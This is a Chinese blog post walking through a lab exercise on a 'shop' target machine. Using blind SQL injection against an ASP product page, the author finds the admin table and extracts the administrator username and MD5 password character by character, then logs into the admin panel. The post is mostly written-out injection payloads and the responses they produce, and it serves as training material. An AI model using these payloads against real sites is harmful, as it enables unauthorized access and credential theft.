您的位置:首页 > 数据库 > SQL

shop靶机实践sql盲注获取后台管理员账号密码

2018-03-15 21:03 861 查看

shop靶机盲注获取后台管理员账号密码

找到注入点。

注入点:http://192.168.244.131:60785/shop/productshopxp.asp?id=485首先分析一下为什么确定这是一个注入点:一、 正常页面如下:

二、 在URL后加’即http://192.168.244.131:60785/shop/productshopxp.asp?id=485’页面报错

三、 在URL后加and1=1即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=1 页面无变化

四、 在URL后加and1=2即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=2页面报错

  由以上几点可以得知,我们提交的一些数据或者命令被数据库执行,可以确定这就是一个注入点。

获得后台数据库中存储网站用户和密码的数据表。

从这个提交的数据我们大概可以猜测该注入为数字型的注入  sql语句大致如下:Select  * from 表名 where id = 数字判断是否存在某个表我们用下面的语句and exists(select count(*) from 表名)如果存在,则页面无变化,如果不存在,则页面返回没有此id的商品我们先测试下admin这个表是否存在and exists(select count(*) from admin) 

发现页面无变化,则存在该表,再测一下users这个表 

发现报错,大致可以认为该后台数据库中存储网站用户和密码的数据表,那我们再测一下这个表中是否存在users或者user或者admin 和password这两列是否存在and exists(select count(password)from admin) 


and exists(select count(users)from admin)

结果发现users和user这两列都不对再试试adminand exists(select count(admin)from admin)

发现admin这一列存在,则可以确定如下:存储账号和密码的表为admin逐位猜解出用户名和密码(只需写出猜解前两位的过程)。猜解用户名和密码时,我们需要一位一位的猜解,首先是要获取某一行的用户名和密码的长度,用法如下:and (select top 1 len(admin) fromadmin)>一个数字这里用二分法确定其长度和每一位字段的ascll值,and (select top 1 len(admin) fromadmin)>7


发现报错and (select top 1 len(admin) fromadmin)>4

页面正常and (select top 1 len(admin) fromadmin)>5

页面报错,则admin表中用户名这一列第一行用户名长度为5下面开始猜解每一位的ascll值and (select top 1 asc(mid(admin,1,1))from admin)>97这里top 1代表第一行   (admin,1,1)中第一个1为第一位,第二个1代表偏移几位,

页面报错 and (select top 1 asc(mid(admin,1,1))from admin)>50

页面正常通过这样的方式确定admin第一行第一个字母ascll值为97 对照一下得a下面猜测第二位and (select top 1 asc(mid(admin,2,1))from admin)>99 

页面正常 and (select top 1 asc(mid(admin,2,1))from admin)>100 

页面报错 则第二位ascll值为100  是d循环这样的方式最后得admin第一行为admin,password为MD5加密后的密码  解密后为admin

用获得的用户名和密码验证是否能登陆。

找到管理页面,http://192.168.244.131:60785/shop/admin/login.asp




 管理登录成功!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: